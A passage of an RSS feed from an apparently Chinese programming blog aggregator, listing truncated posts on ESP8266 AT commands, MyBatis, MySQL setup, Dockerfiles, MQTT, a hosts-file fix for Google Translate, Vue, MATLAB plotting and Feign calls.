      <guid>https://bchobby.github.io/posts/c994b418d967bdf8048ee20b4acf2642/</guid>
      <description>基础班部分 今日内容：使用开发板配置TCP连接，使用小程序和开发板进行交互。&#xA;AT指令发送函数：&#xA;// 向ESP8266发送AT指令 uint8_t ESP8266_SendCommand(char *cmd, char *reply, uint16_t timeout) { // 1.保存传入的指令 char buf[256] = {0}; strcat(buf, cmd); // 2.处理AT指令 if (strstr(buf, &#34;\r\n&#34;) == 0) { strcat(buf, &#34;\r\n&#34;); } // 3.清理前面接收的buf USART2_ClearBuf(); // 4.发送数据 USART2_Transmit((uint8_t *)buf, strlen(buf), 500); // 5.接收数据 memset(buf, 0, 256); while(timeout != 0) { if(USART2_Receive((uint8_t *)buf)) { if (strstr(buf, reply)) { printf(&#34;%s Send ok!\r\n&#34;, cmd); // 发送成功 if (strstr(buf, &#34;CIFSR&#34;)) printf(&#34;%s\r\n&#34;, buf); // 打印IP地址 return 0; } else { timeout--; HAL_Delay(1); } } } printf(&#34;</description>
    </item>
    <item>
      <title>MyBatis框架常用优化方法</title>
      <link>https://bchobby.github.io/posts/603f52ac48c2ccdcaa278278731f1d88/</link>
      <pubDate>Sat, 22 Oct 2022 17:36:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/603f52ac48c2ccdcaa278278731f1d88/</guid>
      <description>一、优化之Session工具类 1、单独使用 MyBatis时，可以封装一个用来获取MyBatis中Session的工具类 回顾之前使用Mybatis来操作数据库的步骤：&#xA;（1）启动mybatis框架（ SqlSession----&amp;gt;SqlSessionFactory----&amp;gt;SqlSessionFactoryBuilder）&#xA;（2）通过 SqlSessionFactoryBuilder来得到SqlSessionFactory ；&#xA;（3）通过SqlSessionFactory 来创建SqlSession；&#xA;（4）读source文件下的mybatis.xml，将mybatis.xml文件转化成流&#xA;（5）创建SqlSession对象&#xA;public static SqlSession session; //启动mybatis框架，读配置文件，获取Session对象 public void getSession() throws IOException{ // (1)启动mybatis框架 // SqlSession----&amp;gt;SqlSessionFactory----&amp;gt;SqlSessionFactoryBuilder SqlSessionFactoryBuilder sfb = new SqlSessionFactoryBuilder(); // 读source文件下的mybatis.xml,将mybatis.xml文件转化成流 InputStream ins = Resources.getResourceAsStream(&#34;mybatis.xml&#34;); // (2)创建SQLSessionFactory工厂对象 SqlSessionFactory ssf = sfb.build(ins); // (3)创建SqlSession对象 session = ssf.openSession(); } 每次操作数据库都要重复上述步骤，因此，可以像封装jdbcUtil一样，将它封装成一个工具类！&#xA;2、MybatisUtil.java package cn.java.utils; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSession; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSessionFactoryBuilder; import java.io.IOException; import java.io.InputStream; public class MybatisUtil { //1.</description>
    </item>
    <item>
      <title>javaweb论文参考文献(2020年精选91个)</title>
      <link>https://bchobby.github.io/posts/7258f7fdcd9feb5e6a232e47ac575b78/</link>
      <pubDate>Sat, 22 Oct 2022 15:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7258f7fdcd9feb5e6a232e47ac575b78/</guid>
      <description>Java Web,是用Java技术来解决相关web互联网领域的技术栈。web包括：web服务端和web客户端两部分。Java在客户端的应用有java applet,不过使用得很少，Java在服务器端的应用非常的丰富，比如Servlet,JSP和第三方框架等等。Java技术对Web领域的发展注入了强大的动力。下面是javaweb论文参考文献91个，供大家参考阅读。&#xA;javaweb论文参考文献一：&#xA;[1]邓明杨，李忠雄。基于JAVA Web技术的网上书城的设计与实现[J].计算机产品与流通，2020（05）：159-160.&#xA;[2]陶林，瞿少成，易宇凡，杨军文，郝超。一种模拟农场环境监测与灌溉控制的教育物联网系统实现[J].电子测量技术，2019,42（24）：81-85.&#xA;[3]苗立志，崔进东，孙敏，崔文俊。面向北斗CORS运行数据的动态监测系统[J].南京邮电大学学报（自然科学版），2020,40（01）：70-74.&#xA;[4]汪永松。JavaWeb开发技巧之项目模板[J].电脑编程技巧与维护，2020（02）：3-8+16.&#xA;[5]武奕含。浅谈计算机专业学生“学习高原”现象[J].数字通信世界，2020（02）：270.&#xA;[6]薛茹。基于JavaWeb的图书购物网站的设计与实现研究[J].南方农机，2020,51（02）：217.&#xA;[7]李光明，房靖力。基于JavaWeb的推荐数据后台管理系统的设计与实现[J].电脑知识与技术，2020,16（03）：66-68.&#xA;[8]匡少华，丁昊，赵正平。基于Javaweb的大学生食堂外卖平台的设计与实现[J].信息与电脑（理论版），2020,32（01）：91-94.&#xA;[9]刘岑松，罗小巧，洪习欢。基于物联网的智能浇花系统[J].电子测量技术，2020,43（01）：176-180.&#xA;[10]聂毓谣。基于数据库的员工考勤系统设计与实现[J].电脑知识与技术，2020,16（01）：56-58+87.&#xA;[11]季昆，孟丽丽，薛迁，孙晓伟，王才华。基于JavaWeb的产品质量检测预警系统的设计与实现[J].数字技术与应用，2019,37（10）：176-177.&#xA;[12]李宣廷，姜楠，狄查美玲，王淖莹，孟德文。基于ElasticSearch的网络舆情搜索平台设计[J].大连民族大学学报，2019,21（05）：449-452.&#xA;[13]王瑾，童莲。基于Javaweb的宿舍报修系统的设计与实现[J].花炮科技与市场，2019（03）：223.&#xA;[14]王予诺。基于Web的C2C农业电子商城的设计与实现[J].信息与电脑（理论版），2019（12）：89-90.&#xA;[15]陈秋玲。基于JavaWeb的图书购物网站的设计与实现[J].电脑知识与技术，2019,15（16）：36-38.&#xA;[16]吴昊。基于JavaWeb的学生云博客的设计与实现[J].电脑知识与技术，2019,15（16）：57-58.&#xA;[17]汪美。基于Javaweb内置对象session的仿真[J].科技风，2019（10）：74.&#xA;[18]蒋凌志。Java程序设计在线考试系统的开发[J].电脑知识与技术，2019,15（07）：142-144.&#xA;[19]干佳林，何贞铭，廖环宇。JFinal与SSH在JavaWeb应用开发中的研究[J].电脑知识与技术，2019,15（07）：81-82.&#xA;[20]赵宇，马静，陶一平，陈佳智。花卉温室可视化监控系统设计[J].黑龙江科学，2019,10（04）：24-25.&#xA;[21]林琴，王庆伟。基于JavaWeb的图书馆座位预约系统设计与实现[J].电脑知识与技术，2019,15（05）：78-79.&#xA;[22]段聪聪，柴世一。基于知识图谱的软件工程项目库设计与开发[J].科技视界，2019（03）：105+86.&#xA;[23]韩嘉锐，郑浩，郭鲁，魏颖。基于JavaWeb的高校二手交易平台管理系统的设计与实现[J].南方农机，2019,50（01）：159.&#xA;[24]陈鹏，李向阳，罗许丰，陈义明。VR实景分享平台的设计与实现[J].电脑知识与技术，2019,15（02）：31-32+47.&#xA;[25]孙丽。将思想政治教育融入高职院校专业课教学的探索与实践--以Javaweb程序设计课程为例[J].产业与科技论坛，2018,17（22）：167-168.&#xA;[26]胡子豪。学生宿舍管理系统分析与设计[J].信息与电脑（理论版），2018（21）：82-83.&#xA;[27]吴若飞。用Java Web实现OA办公系统[J].山东工业技术，2018（23）：98-99.&#xA;[28]姜维，王岩。基于JavaWeb+JDBC的校园服务平台的功能设计与实现[J].时代农机，2018,45（10）：245.&#xA;[29]俞昊，陈磊。基于JavaWeb的实验室用电管理系统[J].福建电脑，2018,34（10）：140+95.&#xA;[30]马英瑞，刘真，李娟。基于JavaWeb的健身管理系统设计与实现[J].福建电脑，2018,34（09）：39-40+44.&#xA;javaweb论文参考文献二：&#xA;[31]张学诚。Java WEB开发中的中文乱码问题解决方法[J].电脑知识与技术，2018,14（27）：62-63.&#xA;[32]李天赐，李璟璐，于姗姗，刘梓艺。基于Spring MVC的高校学院学工助理系统的设计与实现[J].智能计算机与应用，2018,8（04）：167-169.&#xA;[33]李天赐，刘开森，李胜辉。基于SpringBoot卫生备案系统的设计与实现[J].网络安全技术与应用，2018（08）：96-97.&#xA;[34]张雪敏。浅议MVC设计模式在JavaWeb中的作用[J].科技风，2018（22）：58-59.&#xA;[35]艾磊磊，马春江。基于JavaWeb的特产销售系统中的技术分析[J].信息与电脑（理论版），2018（14）：51-52.&#xA;[36]李天赐，田精白。基于SSH框架卫生科技成果申报系统的设计与实现[J].软件，2018,39（07）：84-88.&#xA;[37]李天赐，余海情。基于SSH框架试题系统的设计与实现[J].软件，2018,39（06）：74-77.&#xA;[38]严春时，黄砷才，蓝伟杰，李国武，邓礼铭。中职招生系统的研发与应用[J].科技视界，2018（17）：62-63.&#xA;[39]董成光，杨保华。基于ssm+redis的网络问答社区的设计与实现[J].电脑知识与技术，2018,14（14）：48-51.&#xA;[40]李永亮。基于JavaWeb的安防监控系统服务端的设计与实现[J].计算机与网络，2018,44（09）：68-71.&#xA;[41]严志。高职职业技能大赛云计算平台关键技术研究[J].长沙民政职业技术学院学报，2018,25（01）：116-118.&#xA;[42]沈朝元。JavaWeb在线学习平台的设计与实现[J].电子技术与软件工程，2018（01）：43.&#xA;[43]洪幸，崔忠伟，刘卓，孙群龙，付波。基于JavaWeb的大学生兼职管理系统的分析与设计[J].电脑知识与技术，2017,13（31）：76-77.&#xA;[44]许文义，刘卓。基于Javaweb的实习管理系统的设计与实现[J].电脑知识与技术，2017,13（29）：67-69.&#xA;[45]马国强，王哲。基于JavaWeb的智慧医疗问诊系统设计与实现[J].信息技术与信息化，2017（09）：105-106.&#xA;[46]肖德芳，刘卓。基于Javaweb的科研项目管理系统的设计与实现[J].电脑知识与技术，2017,13（27）：69-70.&#xA;[47]王品越，韩义波。基于JavaWeb的社区商超系统的设计与实现[J].电子技术与软件工程，2017（16）：54-55.&#xA;[48]欧阳宏基，葛萌。基于Struts2+Ajax+JDBC的企业级JavaWeb架构[J].计算机系统应用，2017,26（08）：77-82.&#xA;[49]崔梦天，丁春晓。基于JavaWeb的匿名社交软件的设计[J].吉林师范大学学报（自然科学版），2017,38（03）：112-119.&#xA;[50]林光源，张国平，高雪莲，陈志文，蔡盼盼。基于JavaWeb的远程库房环境监控系统[J].信息技术，2017（05）：50-55.&#xA;[51]李霖，李庆达，区善宁。基于云平台的老年公寓服务系统设计[J].中国新通信，2017,19（09）：66.&#xA;[52]陈帅，关玉蓉。基于JavaWeb的奖助学金系统设计与实现[J].科技广场，2017（03）：190-192.&#xA;[53]迪丽努尔·库尔班，阿布力米提·艾西丁。网络微信教学系统的设计与研究[J].电脑知识与技术，2017,13（04）：50-51.&#xA;[54]李毅。基于Android平台的新闻客户端设计与实现[J].石家庄职业技术学院学报，2016,28（06）：43-45.&#xA;[55]许汉平，余颜宏，张东寅，袁艳斌，袁晓辉。短期水电优化调度系统设计与开发[J].水电能源科学，2016,34（12）：186-189.&#xA;[56]周伟。计算机JavaWeb软件MVC设计模式的研究与实现[J].电脑迷，2016（12）：33+57.&#xA;[57]李迪迪。浅谈房产中介智能推荐系统的实现[J].无线互联科技，2016（21）：43-44.&#xA;[58]张恩丽，张龙翔。基于JavaWeb的在线考试系统设计与实现[J].福建电脑，2016,32（10）：106+148.&#xA;[59]王光琼，任杨，冉椿林，宋敏，叶凤林。基于JavaWeb的物流兼职系统的设计与实现[J].电脑知识与技术，2016,12（24）：81-83.&#xA;[60]高磊，阳许军，陶方涛，陈亮。基于JavaWeb和Android的基站发电稽核系统的设计[J].电子设计工程，2016,24（13）：49-51.</description>
    </item>
    <item>
      <title>MySql下载和安装&amp;Sqlyog下载安装</title>
      <link>https://bchobby.github.io/posts/049037f3e26b73d1288f2b7c1a5859b5/</link>
      <pubDate>Sat, 22 Oct 2022 14:01:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/049037f3e26b73d1288f2b7c1a5859b5/</guid>
      <description>1 下载&amp;amp;安装 视频教程: https://www.bilibili.com/video/BV1Qf4y1T7Hx?p=3&#xA;1.1 下载 https://downloads.mysql.com/archives/community/&#xA;点开上面的链接就能看到如下界面：&#xA;选择选择和自己系统位数相对应的版本点击右边的 Download ，此时会进到另一个页面，同样在接近页面底部的地方找到如下图所示的位置：&#xA;不用理会上面的登录和注册按钮，直接点击 No thanks, just start my download. 就可以下载。&#xA;1.2 安装(解压) 下载完成后我们得到的是一个压缩包，将其解压，我们就可以得到MySQL 5.7.24的软件本体了(就是一个文件夹)，我们可以把它放在你想安装的位置 例如我是放在D:/software下面 data, my.ini我之后配置的， 此时应该是没有的&#xA;2.配置环境&amp;amp;文件 2.1 添加环境变量 右键 此电脑 → 属性 —&amp;gt; 高级系统设置—&amp;gt; 环境变量—&amp;gt;新建&#xA;变量名&#xA;MYSQL_HOME 变量值 (mysql位置 根据自己的位置改变)&#xA;D:\Software\mysql-5.7.24-winx64 配置之后点击确定&#xA;2.2 path路径环境 添加如下到path路径中&#xA;%MYSQL_HOME%\bin 2.3如何验证是否添加成功？ 右键开始菜单(就是屏幕左下角)，选择 命令提示符(管理员) ，打开黑框，敲入 mysql ，回车。 如果提示 Can&#39;t connect to MySQL server on &#39;localhost&#39; 则证明添加成功； 如果提示 mysql不是内部或外部命令，也不是可运行的程序或批处理文件 则表示添加添加失败，请重新检查步骤并重试。&#xA;2.4 配置文件my.ini 在安装目录下配置新建一个my.ini文件</description>
    </item>
    <item>
      <title>dockerfile如何自己建一个tomcat(自己制作一个tomcat,访问8080的时候是显示我们的页面而不是它的那个猫)</title>
      <link>https://bchobby.github.io/posts/a9806e89ff73e6bc9f80cb57876466e8/</link>
      <pubDate>Sat, 22 Oct 2022 13:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9806e89ff73e6bc9f80cb57876466e8/</guid>
      <description>dockerfile是用来构建Docker镜像的构建文件，是由一系列命令和参数构成的脚本&#xA;家想想，Nginx，tomcat，mysql 这些镜像都是哪里来的？官方能写，我们不能写吗？&#xA;我们要研究自己如何做一个镜像，而且我们写的微服务项目以及 springboot 打包上云部署，Docker就是最方便的。&#xA;微服务打包成镜像，任何装了Docker的地方，都可以下载使用，极其的方便。&#xA;流程：开发应用=&amp;gt;DockerFile=&amp;gt;打包为镜像=&amp;gt;上传到仓库（私有仓库，公有仓库）=&amp;gt; 下载镜像 =&amp;gt; 启动 运行。&#xA;还可以方便移植！&#xA;构建步骤：&#xA;1、编写DockerFile文件&#xA;2、docker build 构建镜像&#xA;3、docker run&#xA;实战测试&#xA;CentOS&#xA;官方默认的 CentOS 的情况不支持 vim 和 ifconfig 指令&#xA;我们自己构建一个支持这些指令的镜像&#xA;步骤：&#xA;将 JDK 和 tomcat 安装的压缩包拷贝到自己放的地方（我个人放的位置不当就放在了src里面）用的是（jkd1.8与tomcat7.047） 2.新建一个 Dockerfile 文件&#xA;FROM centos MAINTAINER xiaomi&amp;lt;test@qq.com&amp;gt; #把宿主机当前上下文的read.txt拷贝到容器/usr/local/路径下 COPY read.txt /usr/local/cincontainer.txt #把java与tomcat添加到容器中 ADD jdk-8u11-linux-x64.tar.gz /usr/local/ ADD apache-tomcat-7.0.47.tar.gz /usr/local/ #安装vim编辑器 RUN yum -y install vim #变量 ENV MYPATH /usr/local #设置工作访问时候的WORKDIR路径，登录落脚点 WORKDIR $MYPATH #配置java与tomcat环境变量 ENV JAVA_HOME /usr/local/jdk1.</description>
    </item>
    <item>
      <title>百问网七天物联网课程课后笔记（第五天提高课）</title>
      <link>https://bchobby.github.io/posts/ee66d559bfb57cf44fa7f19a934ce6be/</link>
      <pubDate>Sat, 22 Oct 2022 13:00:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee66d559bfb57cf44fa7f19a934ce6be/</guid>
      <description>基础概念QOS0:最多发一次 QOS1:至少发一次&#xA;QOS2：只发一次&#xA;MQTT的客户端：&#xA;一个使用MQTT协议的应用程序或者设备，总是建立到服务器的网络连接&#xA;发布其他客户端可能会订阅的消息&#xA;订阅其他客户端发布的消息&#xA;退订或者删除其他客户端的消息&#xA;断开和服务器的连接&#xA;MQTT 的服务器&#xA;称之为代理“broker”,可以是一个应用程序或者一个设备，它是连接联系发布者和订阅者的桥梁&#xA;接收连接客户端的网络连接&#xA;接收客户端发来的消息&#xA;处理来自客户端的订阅和退订请求&#xA;向订阅的客户转发应用程序消息&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/9fc821ebc77443968a861bbdef5a69f0.jpeg#pic_cente&#xA;使用MQTTX连接阿里云 打开阿里云物联网平台，新建一个产品SmartHome&#xA;自定义一个LED1的TOPIC，路径如下：产品→TOPIC类列表→自定义TOPIC→定义一个TOPIC类&#xA;添加LED1设备到SmartHome&#xA;点击设备LED1，查看MQTT连接参数&#xA;5. 打开MQTTX这个软件，将连接参数输入&#xA;6. 点击右上角CONNECT，连接成功后，返回阿里云，刷新一下，设备会显示“在线”&#xA;7. 在MQTTX软件中，点击 NEW Subscription 订阅刚刚自定义的TOPIC&#xA;注意：需要将devicename改成自己设备的名字&#xA;8. 订阅后，在设备→→LED1→Topic列表中就能看到新的TOPIC&#xA;在新的TOPIC中，点击发布消息,之后在MQTTX这个软件中就会收到这条消息&#xA;10. MQTTX客户端向服务端发送消息。输入TOPIC，然后输入消息，点击发送&#xA;，之后就能在阿里云的日志服务中找到这条消息</description>
    </item>
    <item>
      <title>谷歌翻译网页无法翻译，最新解决方法</title>
      <link>https://bchobby.github.io/posts/d9723f57b040d9f06eb1aae9dcc42d75/</link>
      <pubDate>Sat, 22 Oct 2022 10:24:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9723f57b040d9f06eb1aae9dcc42d75/</guid>
      <description> 原始方法&#xA;关于没有权限修改host文件的解决方法1&#xA;关于没有权限修改host文件的解决方法2-&#xA;--------------------------------下面为最新解决方法 10.22-------------------------------------&#xA;做完忽然发现谷歌网页翻译又失效了，于是我又重复了之前的旧方法，还是不行。&#xA;后来发现是之前的ip地址可能也被关掉了，现在提供几个新的ip地址，大家可以按照之前的方法一个一个去试：&#xA;120.253.253.34 translate.googleapis.com 142.250.0.90 translate.googleapis.com （这个我的可以） 142.250.66.138 translate.googleapis.com 113.108.239.162 translate.googleapis.com 203.208.39.226 translate.googleapis.com </description>
    </item>
    <item>
      <title>endNote使用教程笔记-1-简介</title>
      <link>https://bchobby.github.io/posts/4f1c3fd66d02ef26b10d402893c70fe3/</link>
      <pubDate>Sat, 22 Oct 2022 10:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f1c3fd66d02ef26b10d402893c70fe3/</guid>
      <description>关于如何添加文献引用格式 在endNote官网，下载你要写的杂志的对应文献参考格式的.ens文件&#xA;进入官网点击downloads，然后点击add output styles&#xA;在搜索栏输入你要搜索的杂志，然后下拉，找到对应的文件，点击下载&#xA;下载的ens文件保存到D:\endNote\Styles目录中即可 在endNote中直接搜索论文 新建数据库文件&#xA;file-&amp;gt;new-&amp;gt;选择新的数据库名称-&amp;gt;选择存放路径点击第三个按钮（即本地又联网）&#xA;在线检索数据库中搜索&#xA;下载搜索到的论文的全文&#xA;阅读文献 选中下载好全文的文件，再点击open file&#xA;默认打开外置阅读器，也可以用内置阅读器&#xA;参考文献引用 选中要参考的文献，然后点击应用符号&#xA;在word中选择你要插入的位置，点击endNote插件，点击insert citation&#xA;点击insert selected citation即可&#xA;可以在style中选择你要参考的文献格式</description>
    </item>
    <item>
      <title>esp32关于vscode的安装和编译环境的配置（platformio）</title>
      <link>https://bchobby.github.io/posts/160e31bd21365c791ca4d61ba6f2546f/</link>
      <pubDate>Sat, 22 Oct 2022 01:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/160e31bd21365c791ca4d61ba6f2546f/</guid>
      <description> 1.下载vscode：Download Visual Studio Code - Mac, Linux, Windows 2.配置vscode： 1）打开vscode：点击扩展&#xA;2）搜索platform：安装platformio插件&#xA;3）下载平台支持包：&#xA;3.查看eps32的串口是否成功： 4.尝试使用点亮板载灯： #include &amp;lt;Arduino.h&amp;gt; #include &amp;lt;Adafruit_I2CDevice.h&amp;gt; #include &amp;lt;SPI.h&amp;gt; void setup() { //pinMode(串口，模式) //初始化 pinMode(2, OUTPUT); } void loop() { //digitalWrite(串口，模式) //循环 digitalWrite(2, HIGH); delay(1000);//延时函数 digitalWrite(2, LOW); delay(1000);//延时函数 } 5.烧录：点击下方箭头（先build 工程，然后连接好board，最后upload） </description>
    </item>
    <item>
      <title>vue中缓存组件keep-alive</title>
      <link>https://bchobby.github.io/posts/3ab834dbd6a98fd6b88af0ca5e0f6fce/</link>
      <pubDate>Fri, 21 Oct 2022 23:06:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ab834dbd6a98fd6b88af0ca5e0f6fce/</guid>
      <description>目录&#xA;介绍&#xA;使用&#xA;缓存所有的组件&#xA;缓存某个组件&#xA;keep-alive的使用示例&#xA;include和exclude属性的使用&#xA;include的使用&#xA;exclude的使用&#xA;生命周期&#xA;介绍 keep-alive是vue的内置组件，可以用来缓存组件。当它包裹动态组件时，会缓存不活动的组件实例，不会销毁它们；将不活动的组件的状态保留在内存中，可以防止重复渲染DOM，减少加载事件和性能消耗。&#xA;注意：keep-alive是一个抽象组件，自身不会渲染成一个DOM元素，也不会出现在父组件链中。&#xA;原理：&#xA;在 created 函数调用时将需要缓存的 VNode 节点保存在 this.cache 中／在 render（页面渲染） 时，如果 VNode 的 name 符合缓存条件（可以用 include 以及 exclude 控制），则会从 this.cache 中取出之前缓存的 VNode 实例进行渲染。&#xA;使用 缓存所有的组件 在APP.vue中缓存所有组件&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;keep-alive&amp;gt; &amp;lt;NativeBtn&amp;gt; &amp;lt;router-view /&amp;gt; &amp;lt;/keep-alive&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 缓存某个组件 缓存某个组件就直接在该组件的外层嵌套一层&amp;lt;keep-alive&amp;gt;&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;!-- 只缓存NativeBtn组件 --&amp;gt; &amp;lt;keep-alive&amp;gt; &amp;lt;NativeBtn /&amp;gt; &amp;lt;/keep-alive&amp;gt; &amp;lt;router-view /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; keep-alive的使用示例 先来看看不加keep alive的情况&#xA;代码：&#xA;keepAliveDemo的代码</description>
    </item>
    <item>
      <title>vscode代码自动排版对齐的方法</title>
      <link>https://bchobby.github.io/posts/27519146561db935b54bc32cbcccd29b/</link>
      <pubDate>Fri, 21 Oct 2022 16:43:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27519146561db935b54bc32cbcccd29b/</guid>
      <description>vscode自带格式化文档功能，但是我们安装插件过多，或者修改配置后，部分快捷键被占用。因此很多时候改快捷键就可以解决问题。&#xA;注意，在输入前，可以输入要修改的键位名称查询已绑定的功能，防止发生键位冲突</description>
    </item>
    <item>
      <title>【MATLAB】根据已有数据绘制Bode图、时域曲线等（进阶版）</title>
      <link>https://bchobby.github.io/posts/d968093a39b63977ddb094d76e1aa2d9/</link>
      <pubDate>Fri, 21 Oct 2022 16:42:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d968093a39b63977ddb094d76e1aa2d9/</guid>
      <description>文章目录 前期教程前言读取数据方法一：按行读取方法二：按列读取 设置figure属性自定义横纵坐标刻度使横坐标按对数刻度显示，即Bode图的形式去掉复制的图片的空白边距 在同一个figure中画不同的图——plotyy补充：WORD转PDF时MATLAB图片失真 前期教程 建议查看上面的专栏。&#xA;前言 最近上了一个自控相关的实验，因为打印需要，报告里面的图片不能用实验过程中保存的图片（黑色背景，而且样式复古），因此想到使用MATLAB来实现，因此研究了一下进阶版的MATLAB绘图，收获颇多，记录一下。&#xA;读取数据 既然要根据已有数据绘图，那么如何有效读取数据就成为非常重要的一步。我这个实验保存的数据是txt格式，于是找到这个链接，记录的方法比较全面，具体使用方法建议去啃help文档。&#xA;本实验记录的数据格式是类似于表格的形式，但是上面还有题头，如下图所示。&#xA;一个行之有效的方法是在MATLAB中选择导入数据，然后选择对应的txt文件，然后有选择性地只导入数据部分，但是这样有一个很大的缺点，那就是非常慢！！！ 毕竟，我这实验有近50个数据文件呢。。。&#xA;因此，使用代码实现势在必行！由于文件中中英文混杂，还有题头等数据的干扰，只有部分数据是表格形式的有效数据，于是采用的是textscan函数，这里介绍两种方式。&#xA;方法一：按行读取 这种方法适用于上面第二张图，数据是根据时间顺序按行写入的，因此可以按照读取文件的方式来读取。&#xA;fID = fopen(filename, &#39;r&#39;); %以读取的方式打开文件，返回文件ID data_cell = textscan(fID,&#39;%s&#39;,&#39;CommentStyle&#39;,&#39;\n&#39;); %以忽略回车的方式读取文本文件中的数据，cell格式 fclose(fID); %及时关闭文件，以免产生后患 这种方式巧妙之处在于，这个函数恰好可以将同一行的数据分开，最后得到的就是一个一个数据，只是需要将“3.478伏”变成数据3.478即可。具体实现是采用sscanf函数：&#xA;value(i) = sscanf(A{i}, &#34;%f%*s&#34;); %A为cell数组，读取到的浮点数返回到value中 其中用%*s表示读取一个字符串但忽略，不输出，这种操作非常好用。&#xA;方法二：按列读取 除了根据时间顺序按行写入的数据文件，还有按列写入的数据（tmd。。。），不能直接套用上面的方法，而是需要先整体读入数据，得到一个矩阵（二维数组），然后将其按列组合成一个向量。因此textscan得换一种应用方式：&#xA;fID = fopen(filename, &#39;r&#39;); %需要注意，这个数据是按列写入的，所以要进行后续处理 data_cell = textscan(fID,&#39;%s&#39;,&#39;Delimiter&#39;,&#39;\n&#39;); %按换行符划分，先分行 fclose(fID); d = data_cell{1}; 得到数据之后去掉题头部分，剩下的部分仍然使用sscanf函数进行数据提取：&#xA;value(i) = sscanf(D{i}, &#39;%*s%*s%d&#39;); 这里还需要注意，不要认为只有一个字符就可以使用%*c，建议优先考虑%*s，因为读取字符是可以读取空格的！！！&#xA;设置figure属性 一般来说，我们使用MATLAB绘图，就是直接复制图窗，顶多是点开属性栏简单设置一下属性，但是如果图片较多的话，逐个设置就会很麻烦，使用代码来设置才是最佳选项。&#xA;在MATLAB中，每次绘制的曲线图像实际上就是一个对象，它具有非常多的属性，于是可以通过代码来修改这个对象的属性。这里用到的对象主要有两个：&#xA;gcf：Figure对象，主要用于设置那个figure窗口的属性。gca：axes对象，主要用于设置坐标轴相关的属性。 下面简单介绍常用的两种设置。&#xA;自定义横纵坐标刻度 有时候画图时，我们想要看到一些特定值对应曲线函数值是多少，但是由于默认的自动坐标没有显示该值，那么就可以通过设定刻度来实现特定函数值的观察。方法如下。&#xA;x=1:10; set(gca, &#39;xtick&#39;, x); 或者对于R2014b之后的版本，可以这样：&#xA;ax = gca; ax.</description>
    </item>
    <item>
      <title>vue3&#43;ts封装el-select el-input通用组件</title>
      <link>https://bchobby.github.io/posts/0ad6e2a0a778e110b7978595322635d1/</link>
      <pubDate>Fri, 21 Oct 2022 15:09:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ad6e2a0a778e110b7978595322635d1/</guid>
      <description>你还在为项目中多个页面输入框下拉框样式不统一而苦恼吗，你还在为页面中书写大段重复代码而痛苦吗？那就使用这个组件吧！此组件将输入框和下拉框统一封装，一行代码到处复用！&#xA;最近为了统一项目样式，决定将列表头部的输入框和下拉框统一封装，这样无论是哪个页面的输入下拉都看起来一样啦，代码如下：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;component_wapper&#34;&amp;gt; &amp;lt;el-row :gutter=&#34;16&#34;&amp;gt; &amp;lt;el-col v-for=&#34;(item, index) in props.searchFormDesc&#34; :key=&#34;index&#34; :span=&#34;item.layout || 6&#34;&amp;gt; &amp;lt;slot :name=&#34;`search-${item.searchKey}`&#34; :form-data=&#34;searchFormData&#34;&amp;gt; &amp;lt;component :is=&#34;item.searchType === 1 ? ElInput : ElSelect&#34; v-model=&#34;searchFormData[item.searchKey]&#34; :placeholder=&#34;item.placeholder&#34; clearable :disabled=&#34;item.disabled&#34; :prefix-icon=&#34;item.searchType === 1 ? Search : &#39;&#39;&#34; @change=&#34;formDataChange&#34; &amp;gt; &amp;lt;template v-if=&#34;item.searchType === 2 &amp;amp;&amp;amp; item.option&#34; #default&amp;gt; &amp;lt;el-option v-for=&#34;op in item.option&#34; :key=&#34;op[item.optionLabel || &#39;label&#39;]&#34; :value=&#34;op[item.optionValue || &#39;value&#39;]&#34; :label=&#34;op[item.optionLabel || &#39;label&#39;]&#34; /&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/component&amp;gt; &amp;lt;/slot&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;</description>
    </item>
    <item>
      <title>Feign远程调用服务提供方入参没有值</title>
      <link>https://bchobby.github.io/posts/815c10cc37a9c6403aa570751545b62c/</link>
      <pubDate>Fri, 21 Oct 2022 14:55:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/815c10cc37a9c6403aa570751545b62c/</guid>
      <description>问题描述 今天使用Feign远程调用的时候，服务端接收到了入参，但是入参的每个字段都为空，本质上请求接口成功了，但是入参没有接收到，因此记录下问题处理的过程。&#xA;问题原因 这里先说下问题的原因，服务调用方发起请求时Content-Type为application/json格式，但是服务提供方接收请求而时却把它当做application/x-www-form-urlencoded接收了。&#xA;问题解决 在Feign客户端远程调用的接口指定当前请求的格式和服务提供方期望的格式一致，加上如下注解值：&#xA;@PostMapping(value = &#34;/xxx&#34;, consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) 另外再说下自己对Feign客户端的思考，Feign客户端有的人喜欢把它写在服务调用方，有的人喜欢把它写到服务提供方，其实各有各的好处。&#xA;写在服务调用方：则不需要再引入服务提供方的maven包依赖，但是如果调用过程中的入参类或返参类在服务调用方中不存在的话，则需要新建这样的基础类。写在服务提供方：服务调用方不需要再新建一些额外的基础类，但是需要引入服务提供方的依赖。 以上只是代码级别的对比，大家可以根据自己项目的实际需求决定Feign客户端写在哪一方。</description>
    </item>
    <item>
      <title>【JAVA核心知识】4.2: CMS垃圾收集器</title>
